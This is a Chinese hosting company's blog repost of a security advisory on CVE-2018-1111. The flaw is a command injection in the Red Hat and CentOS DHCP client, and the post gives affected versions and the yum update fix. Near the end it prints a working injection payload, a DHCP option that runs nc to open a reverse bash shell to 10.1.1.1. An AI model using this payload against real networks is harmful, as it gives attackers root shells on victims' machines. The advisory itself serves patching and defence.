资讯

精准传达 • 有效沟通

从品牌网站建设到网络营销策划,从策略到执行的一站式服务

RedHatDHCP客户端命令执行漏洞是怎么样的

这篇文章给大家介绍Red Hat  DHCP客户端命令执行漏洞是怎么样的,内容非常详细,感兴趣的小伙伴们可以参考借鉴,希望对大家能有所帮助。

创新互联是工信部颁发资质IDC服务器商,为用户提供优质的成都托管服务器服务

0x00 漏洞概述

近日,红帽官方发布了安全更新,修复了编号为CVE-2018-1111的远程代码执行漏洞,攻击者可以通过伪造DHCP服务器发送响应包,攻击红帽系统,获取root权限并执行任意命令。

目前相关利用代码已经公开,可用于本地网络攻击;360-CERT此漏洞进行了技术分析,认为该漏洞危害等级严重,建议使用相关用户尽快进行更新。

Red Hat  DHCP客户端命令执行漏洞是怎么样的

0x01 漏洞影响面

影响版本
  • Red Hat Enterprise Linux Server 6

  • Red Hat Enterprise Linux Server 7

  • CentOS 6

  • CentOS 7

修复方案
  • 受影响产品的更新

Red Hat  DHCP客户端命令执行漏洞是怎么样的

  • 软件包更新

      #yum update dhclient
     #rpm -qa --changelog dhclient  | grep CVE-2018
         - Resolves: #1570898 - Fix CVE-2018-1111: Do not parse backslash as escape character

0x02 漏洞详情

DHCP 是一个局域网的网络协议,主要用于内部网络动态IP地址分配。

Red Hat提供的DHCP客户端软件包dhclient的脚本为/etc/NetworkManager/dispatcher.d/11-dhclient(Red Hat Enterprise Linux 7)和/etc/NetworkManager/dispatcher.d/10-dhclient(Red Hat Enterprise Linux 6);当NetworkManager组件从DHCP服务器收到DHCP响应时执行该脚本。

Red Hat  DHCP客户端命令执行漏洞是怎么样的

使用单引号使参数值逃逸成功,导致了命令执行

--dhcp-option="252,x'&nc -e /bin/bash 10.1.1.1 1337 #"

关于Red Hat  DHCP客户端命令执行漏洞是怎么样的就分享到这里了,希望以上内容可以对大家有一定的帮助,可以学到更多知识。如果觉得文章不错,可以把它分享出去让更多的人看到。


本文题目:RedHatDHCP客户端命令执行漏洞是怎么样的
文章链接:http://cdkjz.cn/article/pgphdd.html
多年建站经验

多一份参考,总有益处

联系快上网,免费获得专属《策划方案》及报价

咨询相关问题或预约面谈,可以通过以下方式与我们联系

大客户专线   成都:13518219792   座机:028-86922220